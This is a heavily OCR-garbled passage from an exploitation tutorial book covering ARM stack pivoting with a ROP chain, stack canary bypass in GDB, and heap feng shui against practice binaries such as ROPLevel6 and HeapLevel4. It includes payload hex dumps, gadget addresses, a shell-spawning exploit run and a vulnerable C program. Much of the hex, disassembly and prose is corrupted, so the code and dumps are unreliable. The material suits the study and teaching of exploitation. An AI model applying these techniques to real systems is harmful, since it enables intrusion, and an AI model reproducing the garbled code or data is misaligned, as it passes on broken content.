45 45 46 46 46 46
49 49 4a 4a 4a ba
4d 4d 4e 4e 4e 4Le
00 00

41 41 41 41 f4 bc 00 00
47 47 47 47 L8 48 48 4B
4b 4b 4b 4b 4c 4c 4c 4c
4f 4f 4F 4T 50 50 50 50

[0A..\...ARAA....|
| EEEEFFFFGGEGHHHH |
|IIII3IIIKKKKLLLL |

| MMMMNNNNOOOOPPPP |
|T...|

The remaining 4 bytes will directly overlay the function pointer,
giving us our initial arbitrary code execution.

90 00 5¢c bd 00 90
45 45 46 46 46 46
49 49 4a 4a 4a 4a

4d 4d 4e 4e 4e 4e
00 00

41 41 41 41 f4 be
47 47 47 47 48 48
4b 4b 4b 4b 4c 4c
4f 4F 4F 4 50 50

[OA..\...AAAA....|
| EEEEFFFFGGGGHHHH |
[IIITJITIKKKKLLLL |
| MMMMNNNNODOOPPPP |

|Teud|

The function pointer is _gadget_library:

Tt overwritten with the address 0000bd54 Y Ehon 5
of the stack pivot gadget. 0000bd58 pop {r4, pc}

The moment the first instruction in this gadget is executed (the
‘MOV SP, R5’) our fake stack replaces the ‘real’ stack. This means
that the second instruction in our pivot gadget (‘POP {R4, PC}’)
will POP values from the start of the buffer on the heap as oppose
to what was previously considered ‘the stack’.
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The first item to be POP’'d is the special code, 0x414f, which sits
inside R4 for the time being.

900P0EB0e (4T 41 B0 08 |5c bd 00 80 41 41 &1 41 f4 bc 60 80 [DA..\...AAAA. Al
88000010 45 45 45 AS 46 46 46 46 47 47 47 47 4B 4B 48 48 |EEEEFFFFGGGGHHHH|

The second item is POP’d directly into R15/PC and therefore
determines where execution jumps to next.

00000008 4f 41 B0 09|5c bd @@ 00| 41 41 41 41 T4 bc 68 @@
00000010 45 45 45 45 46 46 46 46 47 47 47 47 48 48 48 48

JOA. ... AAAA,
|EEEEFFFFGGGGHHHH

This value points to a second 0000hd5c mov re, r4
Pe , 10000bd60 pop {r?, pc} ”
gadget, causing execution to —

proceed at this location.

The first instruction (‘MOV R®, R4’) moves the special code, which
was stored inside R4, into R@ so that it will be interpreted as
the first argument by secret() later on.

The second is yet another POP instruction. This time we aren’t top
concerned about what value R7 will hold so we give it some junk
0x41 bytes.

00000000 4f 41 00 00 5c hd 00 00 |41 41 41 41if4 bc 00 8@ |OA,
00000010 45 45 45 45 46 46 46 46 47 47 47 47 48 48 48 48 |EEEEFFFFGGGGHHHH|

However, for R15/PC we load in the address pointing to the
secret() function as this will be our next and final destination.

00000000 4f 41 00 P8 5c bd €0 00 41 41 41 41[f4 bc 00 08 |OA..\...AAAA. L
30000010 45 45 45 45 46 46 46 46 47 47 47 47 4B 4B 48 48 |EEEEFFFFGGGGHHHH|

BOBECIA push 102, Lr}

Once execution jumps here, R@® will already Eg:ﬁ o %3ﬁnw
. ; {seenaec W
be loaded with the special code (thanks to e & &[5l
. B . iﬂﬁml: ;M ;xl’id;c |
our use of gadgets) and this function will ey o s g
. Poedhdla movEk 1,
kindly spawn us a shell! pemsa u ,?"ﬂﬂ“mL”m
BOPOIT ¢ mavt T, Ml
DASELETE str rl| {vi, #ox10 + var 8l
feo0Lsrc oy i1
onEas bl up_qmnluun Labiel
[t str Vi, Topr, #Ealn s sarfl
[mroacaz b Rabitde 3
rlllhﬂui!: / Li i, abely
Aeoacad vt e, whsd I
HrorLaes bl un yadolatl wbil _!




The remaining bytes between the address pointing to secret()} and
our initial stack pivot gadget are merely junk or ‘padding’ used
0 fill up the extra space in the buffer. The value of these bytes
does not matter and will not affect the functionality of the

exp loit.

47 41 008 00 5c bd 00 80 41 41 41 41 T4 bc 00 00 |OA..\...AAAA....|
45 45 45 45 46 46 46 46 47 47 47 47 48 48 48 48| |EEEEFFFFGGGGHHHH |
49 49 49 49 4a ha La ba 4b 4b 4b 4b 4c 4c 4c 4o | |TTTIJIIIKKKKLLLL|

4d 4d 4d 4d e he Ge 4e 4T 4F 4F 4f 50 50 50 50 | |MMMMNNNNOOOOPPPP|
54 bd 00 00 [Teoo]

summary

fn summary, the ROP chain is doing the following:
—pivoting the stack to point to the start of heap buffer
—~ load special code into R4

— move code from R4 into RO

— jump to secret()

Note: You may be wondering why we didn’t just directly branch to
the part of the function that spawns the shell (at address
0x0000bd14). In reality this would have been a much simpler option
and it would have be possible without a stack pivot, however, we
have taken the ‘long route’ for the purpose of explaining stack
pivoting.
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Exploit in action

Executing ROPLevel6 and specifying the path to our maliciously-
crafted exploit file produces the following result:

W billyellis = ssh root@192.168.1.164 — 80x24

|1Billys-N48AP: /var/mobile/ROPLevelé root# ./roplevelé
Welcome to ROPLevelé created by @bellis100@! This challenge involves using a sta
ck pivot to executea a ROP chain :=)

Enter a path for object data:

|./roplevelé_exploit

game @ver! you managed to crack it ;)

sh-4.04

The data from the file is processed and we have a fully
interactive shell!

https://t.me/learningnets
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conclusion

This chapter has introduced a vital technique used in the creation
Tf modern exploits - stack pivoting. This concept can be utilised
ET aﬁ attacker to remove limitations that they might initially

n attempting to execute a large exploit payload on their

ﬁce whe
target system:

From reading this chapter you should now understand more about
;ﬁgt the stack really is and the way PUSH and POP instructions in
;hprogram actually affect the memory and the stack pointer, as
;kil as how to manipulate it in order to craft your own ‘fake’ ROP
stack.

For those interested, I presented a talk at the 2018 BSidesMCR
SEcuritY conference covering stack pivoting which you can view

online here https://www.youtube.com/watch?v=—_LGrrKv6lc.
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Stack Canaries

Throughout this book series so far we have looked at various
exploit techniques that can be used against modern mobile devices
including the exploitation of stack and heap based overflow bugs,
use-after—-free vulnerabilities, double free()’s, and techniques
such as ROP. However, we have not gone into much depth into anti-
exploit mitigations. Aside from ASLR (which was covered in Volume
I), there are several other mitigations present in modern mobile
operating systems designed to make exploitation as difficult as
possible. -

In this chapter we will look at a mitigation designed to prevent
the exploitation of one of the most classic exploitable bugs in
software — stack buffer overflows. This mitigation is known as a
‘stack canary’ or ‘stack cookie’.

Stack canaries are randomised values that sit somewhere on the
stack, often between a buffer and the return address, and are used
to help detect when a buffer overflow may have occurred. If a
buffer overflow is detected then the program will take an
alternate path than usual and will not return to its caller, thus
preventing an attacker from taking control of execution flow.
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Look at the following diagram of the stack:

41414141
42424242
43434343
44444444

8019FF24
es

S,

L ]

;; Assume that the first 4 items from the top of the stack (the

e 41414141, 42424242 etc) make up the data stored in a 32-byte
puffer on this stack. Below this buffer lies the value @xABCDEF12
- this is the random stack canary value. We'll talk about this
more in a moment. And below the canary is the saved function

it return address of which will be used to determine where execution

i J flow branches to once the current function returns.

" In the most basic example of a stack buffer overflow exploit the
attacker would overflow data outside the bounds of the buffer and
modify the saved return address. However, if we attempt to do the

1sed same when stack protection is enabled, we run into the following

issue.

nus
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Below depicts the state of the stack after an attacker causes a
buffer overflow and modifies the value of the saved return
address:

41414141
42424242
43434343
44444444

Canary ——p

position

Saved return

46464646 |e——  20dress

position

Notice how both the canary value and the return address have been
overwritten. This is an unavoidable consequence as the canary has
deliberately been placed between the buffer and the return
address. Any attempt at modifying the return address will
inevitably result in the canary also being modified. And this is
exactly how this protection is used to prevent buffer overflows on
the stack being exploited.

On an older system (one in which stack protection is not present)
the program would proceed to unwittingly jump to whatever value
has been written over the return address. However, with the canary
in place, the program will perform a check before it branches to
the return address.

The check is simple - it’s a comparison between the original value
of the canary and the current value of it. If the values differ,
it is likely that some form of memory corruption (caused by a
buffer overflow) has occurred and so the program will take an
alternate path and terminate itself without returning normally. On
the other hand, if the values are the same the program will return
normally by branching to the return address and continuing progran
execution.

https://t.me/learningnets
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It may already appear obvious to you how one can defeat such a
protection. A1l an attacker must do is overwrite the canary with
the same value that the canary already holds, making it appear as
if it has not been tampered with. While this idea sounds simple,
it can often be very difficult in practice. One of the reasons
behind it being so difficult is that the value for the canary is
unpredictable and is randomised on every execution of the program
in a similar way to how the process’ address space is slid by a
randonm ASLR slide.

_Example Defeat

There are two main methods that can be used to overcome stack
canaries. The first involves using an information leak
yulnerability that gives the attacker a way to actually find out
the exact value of the canary. Once they know this value, they can
easily defeat the protection.

The second involves a traditional brute force attack in which the
attacker repeatedly guesses random values until they find a value
that exactly matches the canary. This method however is often not
feasible in situations when, for example, the system paﬁics after
éuery attempt.

We will focus on the first method as this is what is most likely
to be used by exploit developers on software today. However,
before we dive into defeating this mitigation, let’'s explore how a
stack canary is implemented in a real life program to gain a
$urther understanding of them.

If you wish to follow along and explore how the protection is
jmplemented yourself, compile the code found on the next page
making sure to use the ‘-fstack-protector’ flag to enforce stack
protection.
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Program source code:

#include <stdio.h>

#include <string.h> |

#include <stdlib.h>

#include <unistd.h> |

void try_me(char argll[1){ !
char buf[161;

for (int i = @; i < strlen(argl); i++)}{
bufli] argl[il;

}
}

int main(int argc, char xargv[]){

try_me(argv[1l);
printf("Back in main{)\n"); |

return 0;
}
Command to compile:
Billys-N48AP:/var/mobile root# clang canary.c —isysroot /var/theos/sdks/

iPhone0S8.1.sdk -mno-thumb —fstack—protector -o canary
Billys-N48AP:/var/mobile root#
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Using GDB, we will disassemble the try_me() function within this
program and set break points at the following locations:

(gdb) dises try_me

pump
a;aaaabegs

asBﬁBﬂbe?c
gxﬂaﬂaheaﬁ
gxﬂﬂﬁabeaﬁ
a;eaaabeaa
pxog@pbeac
uxeaaabeba
n‘nqnﬂhah&
| px8p@abebs
pxbdbdbebc
gxe@0ebece
pxepeBbecs
pxagaBbecd
prp@eBbecc
Bxaﬂﬂ@bedﬂ
pxoepBbeda
gxooaRbeds
pxéapBbedc
axoepBbeed
pxopepbesd
pxpaeebead
pxppABbeec
pxARERbefo
pxepepbefs
pxipaebefs
pxpagebefc
pxapepbfee
pxopaebTes
pxpaeobTes
axpeBebfac
axaBEebT1e
pxBeBebfl14
prBeERbT18
pxeaeebric
BxdpeBbrze
AxAnRRhE24
{ pxa0eBbT28
dxtdbEbTZe
Bxpeaabfae
OxpeBebf34a
Axdeasbfas
exeeeabfac

<try_me+8>:

<try_me+4s;

<try_me+8>:

<try_me+i12>:
ctry_me+lé>:
<try_me+285:
<try_me+24>:
<trv _me+2R>
<try_me+325:
<try_me+365:
<try_me+4@>:
<try_me+4d>:
<try_me+4B>:
<try_me+525:
<try_me+56>:
<try_me+60>:
<try_me+bhis:
<try_me+68>:
<try_me+72>:
<try_me+76>:
<try_me+88>:
<try_me+B4>:
<try_me+BB>:
<try_me+92>:
<try_me+96>:
<try_me+18@>:
<try_me+104>:
<Iry_me+188>:
<try_me+112>:
<try_me+lld

<try_me+120>:
<try_me+124>:
<try_me+128>:
<try_me+132>:
<try_me+136>:
siTM. me+140s
<try_me+léds:
<try_met+i44>:
<try_me+152>:
<try_me+156>:
<try_me+l6@>:
<try_me+164>:

End of assembler dump.

(gab) i

of assembler code for function try_me:

80 4@ 2d e9
od 78 20 el
20 dé 4d e2

ea
74
ee
02

AR_7A

B4

BiG

2b

ee
Be
48
BE
7
87

‘Bd

8d
Sd
9d
8d
a8
(s}
9d
51
a8

-]
e3
e3
e7
ah
eb
eb
eb
e5
eb
eh
el
eb
e5
el
2a
a2
aeb
eb
e
eb
eb
ed
85
e5
e2
e5
ea
ed
el
e
e5
L
ab
el
la
el
e8
eb

{17,
7,
5P,
i 3
2,
2,
T2
7

12,
I,
rl,
8,
ri,
ré,
T8,

ir}

sp
sp, #32
#0 ; Bx8
#372

#8 ; Bxe
[pc, r2]
fr21

ET?, _#_—f‘]
Lsp, #8]
[sp, #4]
[sp, #4]
[sp, #8]
[spl
Tl

Bxbffc

rl,
i,

[sp]
re

Bxbfl4

re,
1,
*Z,
rl,
rl,
r2,
e,
ri,
rd,
ra,
8,

sp, #12
[sp, #4]
[sp, #8]
rZ2, r1
[r1]
[sp, #4]
re, r2
[r8]
[sp, #4]
rd, #1
[sp, #4]

Bxbecsd

re,
18,
e,
rd,
Th.
rl,
e,

H264
#8 ; Bx8
pc, 1@
[r8]

frAl

r7, #-41
i e

Bxbfdc

sp,
{r7,
axbf

pcl
fe

Looking at the above screenshot, it can be seen that both
locations hold memory access instructions — more specifically,
‘STR’ and ‘LDR’ instructions. These, however, are not randomly
chosen instructions - they are the instructions responsible for
initially loading the canary onto the stack and reading it back

again towards the end of the function.
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We execute the program (supplying ‘AAAABBBB’ as the only argument)
and hit the first break point at Oxbeb8. Here we examine the
contents of the registers:

Breakpoint 1, 0x@00e4eb8 in try_me ()
[(gdb) i r

ro 0x1e98bb 2005179

rl ox0 9

r2 0x1d886587 495478151
r3 Ox1e9860 2005088

r4 ox0 0 |
r5 ox0 0 '
6 2x0 0
r7 Ox1e97e0 2004960 |
8 Ox1e97fc 2004988

r9 0x381de908 941484296
rlo 0x0 %]

rll 0x0 (%]

ri2 0x80000028 -2147483608
sp 0x1e97cO 2004928

1r Oxe4t68 937832

o] Oxe4eb8 937656

What can we gather from this? Firstly, let's look at the specific
instruction that will execute next.

STR R2, [R7, #-4]

This instruction will take the value currently held in R2 and
place it into the memory location pointed to by R7 minus 4. Since
we know this instruction is responsible for loading the canary
into memory (as the value at the location specified here is what
is later compared with another value to determine where execution
branches to next), the value held in R2 must be the canary value
itself. In this case, it happens to be 0x1d886587:

exe 9

0x1d886587 495478151
0x1e9860 2005088

ex0 ]

77

https://t.me/learningnets




The memory location this value is written to is what is pointed to
by R7 (0x1e97e@) minus 4 (@x4) which results in address @x1e97dc.

Sing1e-stepping over the instruction (using ‘si’) and examining
the contents of address @x1e97dc confirms this as the value held
in R2 can now be found at this location:

i{gdb) si
0x00@e4ebc in try_me ()
‘(gdb) x/64wx 8x1e97dc

Ox1e97dc: Ox1d886587 0x001e97f8 Ox000e4T68 Bx00000000
Ox1e97ec: 0x001e9804 0x00D00RO2 Ox0000O00O Ox00000000
Ox1e97fc: OxP0Pe4te94 BXDOODDOO2 Ox001le98a0d Ox0R1e98bb
0x1e980c: O0x00000000 0x001e98c4 Ox001e98d2 @x001e98eb

continuing execution, we reach the second break point. Here we
examine the register state again and this time look at the stack

pointer.

(gdb) c
Continuing.

Breakpoint 2, ©x000e4f28 in try_me ()
(gdb) i r

0 0x1d886587 495478151
rl 0x8 8

r2 ex1f 31

r3 0x1010101 16843009
Th ox0 [’}

5 2x0 %}

ré 0x0 [*]

r7 Bx1e97e0 2004960

r8 Bx1e97fc 2004988

r9 0x381de%08 941484296
rle ox0 ’]

ril ox0 %}

rl2 Ax1p98hf 2005183

sp 0x1e97cO 1004928

1r Oxe4ed8 937688

pc Oxe4t28 937768

Examining bytes of memory from this address will effectively print
out the contents of the stack.
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Here is what the stack currently looks like:

(gdb) x/64wx 0x1e97c@
0x1e97cO: 9x00000008 Ix0000000R8 0x001e98bb Ox41414141

0x1e97d0: Ox42424242 9x00000000 0x00000000 0x1d886587
Ox1e97e0: 0x091e97f8 Px000esT68 OxB0000000 0x001e9804
0x1e97f0: @x00000002 9x00000000 ©x00000000 0x000e4te94

this may look like a random arrangement of

At first glance,
However, we can begin to understand the layout

nonsense values.
the stack by looking at it in smaller chunks.

Ignoring the very first 3 32-bit values, which we aren’t too
interested in, we find the buffer that contains the data
(highlighted pelow) that we supplied upon launching the program,

(gdb) x/64wx 0x1e97co
ox1e97ch: 0x00000008 0x00000008 0x001e98bb Ox41414141

0x1e97d0:( @x42424242 9x00000000 0x00000000 6x1d886587

9x1e97¢0: 0Ox001e97T8 9x000e4T68 0x00000000 @x001e9804

Ox1e97f0: Ox00000002 Gx00000P00 Bx0D0000000 Bx0BBeste94
Although this buffer is 16 bytes long (as seen from the source
code) our input of ‘AAAABBBB’ has not filled it, hence the

remaining 8 NULL bytes.

(gdb) x/64wx 0@x1e97c0
Ox1e97c0: 0x0000000O8 Px00000008 OxP01e98bb Ox41414141

0x1e97d0: @x42424242 9x000000008 0x00000000 18x1d886587
Ox1e97e0: 0x001e97f18 9x000e4T68 0x00000000 ©x001e9804
9x1e97f0: 0x00000002 9x00000000 0x0R0RRVOO Ox000eie9h

After these NULL bytes (and therefore outside the bounds of the
puffer) we find the stack canary value that we saw earlier.

(gdb) x/64wx 0x1e97c0
Bx1e97cO: 0x00000008 0x00000008 0x001e98bb Ox41414141

Ox1e97d0: Ox42424242 9x00000000 0x000PPABA' 0x1d886587
Ox1e97e0: 0x001e97f8 0x000e4T68 0x00000000 0x001e9804
Px1e97f0: 0x00000002 0x00000000 0x00000000 0x000eLe4
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Following that, we have the old stack frame’s pointer and the
function return address (in that order).

(gdb) x/64wx Ox1le97co
0x1e97c0: 0x00000008 0x000000O8 Ox001e98bb Ox41414141
9x1e97d0: 0x42424242 06xP0000000 0x00000000 Ox1d886587

9x1e97e0:(0x001e97T8 0x000e4T68 10x00000000 OxP01e9804
9x1e97T0: 0x00000002 0x000000PD OxPPOPDPOO Ox0PRe4te94

This all perfectly correlates with the stack diagram displayed on
the earlier page — we have a data buffer followed by the random
canary value, followed by the function return address.

continuing to step through the instructions in GDB, we can see how
the application proceeds to check the value of the canary in
memory against the value that it originally was.

The breakpoint we are currently at is at the instruction:
LDR R1, [R7, #-4]

As mentioned previously, this is the instruction which reads the
canary back from the stack. After single stepping over this and
viewing the register state we should see the canary value inside
Rl and R2.

(gdb) si

0x@00e4f2c in try_me ()

i(gdb) i r

10 9x1d886587 495478151
rl 0x1d886587 495478151
b o ox1ft 31

r3 9x1010101 16843009

ré4 0x0 0

5 0x0 %)

b ox0 0

r7 0x1e97e0 2004960

r8 Ox1e97fc 2004988

r9 0x381de908 941484296
rle ox0 0

rii 0x0 0

rl2 Ox1e98bf 2005183

sp 0x1e97cO 2004928

1r Oxe4ed8 937688

pc Oxe4f2c 937772
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The following instruction performs a comparison between these two
values. The result of this comparison determines the execution
path the process will take next.

0x000e4T28
0x0008e4f2c

8x000e4f38
0x000e4f3c

<try_me+l44>:
<try_me+148>:
<try_me+152>:
<try_me+156>:
<try_me+160>:
<try_me+164>:

If the two values are not equal (notice the BNE/Branch Not Equal
instruction) then execution flow jumps to address @xed4f3c. This

rl, [r7, #-.g‘] Ii
9, ri
Bxe4f3c
sp, r/
{r7, pc}
Oxe4ffo

points to an instruction a few lines down which then jumps to
address 0Oxe4ffo.

This is a reference to the ‘___ stack_chk_fail’ function which,
when called, will terminate the program and not return to the
caller function.

{gdb) disas Oxc4ffe

Dump of assembler code for function dyld_
0x008c4ff0 <dyld_stub___stack_chk_fail+o>:

End of assembler dump.

(gdb)

stack_chk_fail:
9t ¢S5

pc, [pc, 78] i Bxebogg

On the contrary, if the two values are the same then the current
path of execution continues which results in the try_me() function

returning

0x000e4f28
0x000e4f2c
0x000e4T30

0x000e4T34
0x000e4f38
0x000e4f3c

to main().

<try_me+144>:
<try_me+148>:
<try_me+152>:
<try_me+156>:
<try_me+160>:
<try_me+164>:

rl, [r7, #-4]|
re, ril
Oxe4f3c
sp, r7
{r7, pc}
vXe4TTY

Now that we understand the exact implementation of the stack
protection in this program we can demonstrate a proof-of-concept
attack in which we will overwrite the return address with
arbitrary data and still allow the function to return, giving us
control over the program counter.
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she sake of simplicity, we will carry out this attack through
'gking use of the commands it provides us to inspect memory.

_ real case, you would rely on an information leakage
%erability that provides you this memory inspection

.ionality. There is no artificial information leak programmed
the canary.c program (as there was with some of the challenge
jes discussed in Volume I) but feel free to add your own if
yant to exploit this program ‘legitimately’.

start this time with a long string as input that will easily

y run AAAABBBBCCCCDDDDxxxXEEEEFFFF
t{ng program: /private/var/mobile/canary AAAABBBBCCCCDDDDxxxXxEEEEFFFF

r?ection by overwriting the canary with a value that is
ie tical to it - that way, the program will not notice_that
hing has been modified.

canary. This is placed at the position of the 33rd byte (after
e first 32 characters that will be used to fill the buffer).

r that lie ‘EEEE’ and ‘FFFF’ which will overwrite the old
k frame pointer and the function return address!

opping at the first breakpoint, we can peak the value of the

Breakpoint 1, @x@@@eéeb8 in try_me ()
[(gdb) i r

ro 8xlebBa7 2013351

rl Avo a

r2 0x123b48c4 305875140

r3 vxlebsac 2013260
T4 0x0 (4]
r5 0x0 (%]
ré 0x0 Q
r7 0x1leb7c8 2013128
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Note: when developing a real exploit, this stage would be replacE(j
by the usage of an information leak vulnerability to find the
value of the canary.

Continuing execution, we reach the second break point where we
look at the stack pointer and print the contents of the stack.

The 0x78787878 is the hexadecimal representation of the lower Case
‘x’s and therefore is the point at which the canary value needs tq
be.

i(gdb) x/64wx ©x1eb7a8

Oxleb7a8: 0x0000001c OxP0EOOOOI1C 0x001leb8a7 Ax41414141
0x1eb7b8: Ox42424242 Ox43434343 Qx44444441 @x78787878
Oxleb7c8: Ox45454545 Ox46464646 Bx1Teb2000 Ox0Pleb7/ta
@x1leb7d8: 0x00000002 ©x00000000 0x00POOOLD Ox0BPe6e94
@xleb7e8: 0x000df000 0x00000002 0xPOleb88c Ox001eb8a7

Using GDB's ‘set’ command we can specify an address and some data
to write to it. We can use this to replace the 0x78787878 with the
canary value 0x123b48c4.

(gdb) set *((unsigned int *) Oxleb7c4) =, 0x123b48c4
[(gdb) x/64wx @x1leb7a8
Oxleb7a8: Ox0000001c Ox000VBO1c Ox0O1leb8a7 Ox41414141

Ox1leb7b8: 0x42424242 Ox43434343 Ox4LLLLLLL éx123b§$§4
Oxleb7c8: Ox45454545 Ox46464646 Ox1feb2000 0x001eb7f0
Oxleb7d8: Ox00000002 0x0000A00OO OxP00V000 0x000ebe94

Now we have an overflown stack with the canary value unaffected,
but have overwritten the saved return address with controlled
data.

Oxleb7a8: 0x0000001c 0x0000001c OxPBleb8a7 Ox41414141
Ox1eb7b8: Ox42424242 Ox43434343 Oxb4b4b4bLLLLL 0x123b48c4

Ox1eb7c8: Ox45454545 9*&6464§§§30x1feb2600 Px001eb7f0
Ox1leb7d8: 0x00000002 OxPROLOARO 0x00000000 0x000ebe94

When we continue execution, the canary will be read back off the
stack and compared with the original value again.
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e the value of the canary has not been affected, the
ison will conclude that both values are equal and will
+ to return to main().

ginc
conp2"
att emp
. over, when this happens the program counter register will be
HOWEEd with 0x46464646 and the process will terminate when it
iizes to execute an instruction from that address.

(gdb) €
Continulng .

program received signal EXC_BAD_ACCESS, Could not access memory.
cason: KERN_INVALID_ADDRESS at address: 0Ox46464644

oxkoh6A6EE in 22 )

If we were using an information leak bug to find the value of the
canary, at this point we would have successfully defeated the

stack protection and would be able to execute some ROP gadgets.
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Conclusion

This chapter has introduced a common exploit mitigation used in
most modern software — stack canaries. We have discussed what they. !
are, why they are effective and have investigated exactly how they
are implemented in an application and can be defeated in an

exploit.

In the modern world of exploitation the majority of exploits teng
to target bugs revolving around the heap, so it is fairly unlikely
that you will come across a situation in which you are working
with a classic stack buffer overflow and would need to deal with
this kind of mitigation.

That being said, you will likely find this mitigation in every
target system you work with and may even find variants of it that
aim to protect other memory corruption bugs too, so it is highty
beneficial to have this knowledge under your belt.
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Heap Feng Shui (X7K)

often in heap exploitation an attacker will need to make use of a

owerful technigue known as ‘heap feng shui’ to assist them in
successfully gaining code execution. This technique is named after
the Chinese term ‘feng shui’ (K7K) which refers to an ancient
practice of balancing one’s physical environment and carefully
srranging objects.

1n exploitation terms ‘feng shui’ is used to describe the process
of carefully manipulating the layout of the heap in a target
process and ultimately having some level of control over the
arrangement of the different blocks of memory.

This usually results in the attacker being able to reliably

| allocate data at predictable memory locations which is
particularly useful when exploiting a number of different heap—-

= related memory corruption vulnerabilities.

Note: at first it may be easy to fall into the trap of confusing
‘heap feng shui’ with ‘heap spraying’. While both of these
techniques aim to give the attacker some control over the heap,
they are not the same technique.
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?_i =
How does it work? we i)
oWn
Generally, the way Feng Shui is done on the heap is by first |
allocating a large amount of individual blocks of memory of the
same size, then free()’ing some of these blocks to essentially
‘poke holes’ or make spaces at certain locations which can then |
reallocated later. When these spaces are reallocated, the newly

allocated data will be positioned in between other attacker-
controlled blocks of memory.

l

se hol
]

The diagram below represents the heap in a process before any
allocations by us have been made. There are, however, some blocksg

already being used by other parts of the process (represented by o
the shaded area behind). N

ocate!

\
The first step to achieving some control over the layout of the L why)
heap is to fill all of the ‘natural holes’ (the spaces between
already allocated memory blocks) by making several allocations
filled with our own data.

aginel
arflof
ntroﬂ
he s@

i'nfE\-l’erj
ita il]
ferwr
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seful
After making enough allocations of our own, the natural holes wilﬁSltH

be filled and our allocations will begin to fall directly adjacentlﬂto ﬁ
to each other on the heap.
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Now we will free()} a couple of these allocations to make some of
our own holes in our series of controlled memory blocks.

These holes are now available for new allocations. If we were to
allocate some important object in one of these spaces, it is
wsitioned perfectly between the controlled data.

Buit why would we want to do this? How does this benefit us?

Inagine we are dealing with a heap overflow vulnerability. The
oerflow occurs in every object that we allocated as part of our
wntrolled data and it allows us to write data past the bounds
{the separating lines) of the memory block.

fwever, these objects are basic strings and therefore overflowing
ata into another string is not useful for us. Instead, we want to
werwrite something important such as a function pointer.

Inagine that the block we allocate in one of the spaces 1s a more
iseful object and holds many function pointers. It is now
psitioned perfectly so that we can overflow data from the string
Into this new object!
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This will result in function pointers and other important data
being overwritten which could affect the flow of execution.

Overflown data

Alternatively, an attacker may want to use the controlled data
positioned after the important object.

For example, if the object calls some function pointer or attempts
to write to some address that is stored at a relative offset from
it and the attacker can somehow manipulate this offset, they could
point it to be located somewhere just outside the bounds .of the
object’s memory block and therefore in attacker—controlled data.

Points into attacker-
controlled data
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you may not yet appreciate the impact of using a technique like
Feng Sshui on the heap.

Most of the programs involving heap-based exploitation that we
have looked at so far have been designed in such a way that we did
not have to think much about the layout of the blocks of memory on

the heap.

1n fact, almost all of the programs we have looked at were
designed in such a way that blocks of memory were already
positioned directly adjacent to each other on the heap. This was
done deliberately and for the purpose of keeping each chapter as
peginner—-friendly and simplistic as possible.

However, in reality it is almost never the case that heap blocks
will be arranged in the perfect way for you.

Also, one thing you may still be wondering is why, if we can
successfully allocate a bunch of adjacent ‘controlled data’
objects, can we not just allocate one of these ‘controlled data’
objects and then our ‘important object’'?

The answer to that is: you could! But it's very unpredictable
doing it that way as you do not know the layout of the heap in the
beginning, and therefore you can never be sure whether or not both
allocations will be placed adjacent to each other or if one of the
allocations will fall into one of the ‘patural holes’ on the heap
created by other parts of the target process.

Using Feng Shui provides us a much higher rate of reliability and
therefore improves the overall success rate of the exploit.

https://t.me/learningnets



To demonstrate the use of the Heap Feng Shui technique we will
attack HeapLevel4.

When executing Heapleveld the first thing we see displayed in the
console is a log of various different allocations and free()’s,

Billys-N48AP:/var/mobile root# ./heaplevels
allocated p at @x16564390 of size 297
free()'d p

allocated p at @x165644c@ of size 353
free()'d p

allocated p at 0x16564390 of size 351
free()'d p

allocated p at 0x16564390 of size 282
allocated p at 0x165644b0 of size 275
free()'d p

allocated p at 0x165644be of size 319
free()'d p

This is coming from a function within the binary designed to
‘fragment’ the heap.

The purpose of this is to create a heap state that is randomised
on each execution in attempt to emulate the layout of the heap on
a larger target system. ‘

vulid fragment_heap(){

int r;
int a;

srand{time(@));
for (int i = 0; i < 50; i++){ |

a

rand() % 3; |
r

rand() % 106;

char #p = malloc(r+256);

printf(“allocated p al %p of size HAANT, p,r+256);
if (a){

free(p);

printf("free()'d p\n");

}

} |

Note: despite this function attempting to fragment the heap, this
binary is so small that is still fairly easy to ‘get lucky’ and
make an allocation of an object directly after a string without
having to use Feng Shui. However, we will still use this technique
for the purpose of demonstration.
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This function makes 50 allocations of different sizes and free()’s
around two thirds of them.

This leaves the heap in a state where there are a bunch of
different sized blocks of memory in use and there are various
spaces at random points between these blocks. If we were to
allocate our own two blocks of memory, there is no guarantee that
they will be placed directly adjacent to each other.

HeapLeveld gives us a similar menu interface to the previous 2
heap exploit exercises.

free()'d p
allocated p at @x16661a4@ of size 328

wWelcome to HeaplLevelé!
created by ®bellis1000

[1] New string
[2] Edit string
[3] Delete string
[4] New object
[6] Delete object
[6] Verify object
[7] Quit

We have options to create {(allocate) a string, edit a string,
delete (free) a string, create (allocate) and object, delete
(free) an object, verify an object and quit.

Allocating a string creates a 256-byte block on the heap
containing data that we fully control. Editing a string allows us
to update the data in one of these blocks. There is a buffer
overflow bug that can be triggered by using this option, allowing
us to write more than 256 bytes of data back to the block.

Allocating an ‘object’ also creates a 256-byte block on the heap
that contains nothing but a pointer to a function used to verify
the object. This is what we will target.

Verifying the object calls that function pointer, as you had
probably already guessed at this point based on the previous
chapters.
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We want to create a layout such that the object will be sandwicheg
between strings that we control. We can then use option 2 to edit
the string before it and overflow the new data into the object,
overwriting its function pointer.

As discussed earlier, the first step in achieving this is to make
several allocations of the string so that we can be confident in
the fact that there are multiple strings located directly adjacent
to each other on the heap.

This can be done by repeatedly selecting the first option. We will
use different characters for each allocation so we can easily
track the different allocations later.

The first few allocations will likely be at completely different
locations on the heap.

1

Enter string data:
AAAA

String is at ©x16d785b@
string is AAAn

[1] New string

[2] Edit string
[3] Delete string
[4] New object

[5] Delete object
[6] Verify object
[7] Quit

1

Enter string data:
BBBB .
String is at @x16e75680
string is BBbo

[1] New string

[2] Edit string

[3] Delete string

[4] New object

[5] Delete object

[6] verify object

[7] Quit
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This 1is because these allocations will be squeezed into spaces
petween other used memory blocks. After a few more allocations,
and after all of the ‘natural’ holes have been filled, the
allocations should begin falling directly next to each other.

strlng is at 0x17520330 |
string is PPPP

(1] New string

[2] Edit string

[3] Delete string

(4] New object

[5] Delete object

(6] Verify object

(71 Quit

1
gnter string data:

preakpoint 1, 0x@0057ac4 in main ()
'(gdb) ¢

continuing.

'aQQQ -

string is at 9x175204 a

string is QQQQ R

Using GDB we can examine the contents of the heap to see these
adjacent string allocations.

Breakpoint 1, 6x00857ac4 in main ()

i(gdb) x/512wx 8x17520030

0x17520030: | 0x4848484810x00000000 0x00000000 OXx00000000
9x17520040: 0x00000000 Ox00PAPOOE Px0PV0DOVY BXxPD0VVBOG
0x17520050: 0x00000000 Ox000DOR00R OxDPOVLOOO OXx00DBOVOO
0x17520060: 0x00000000 0x0000P0000 @x0PO0OOPO Bx0LVOODOO
0x17520070: O0xP00POOPO DxOPOOBOOO Ox0DBVVODOO OXxPODOVOOO
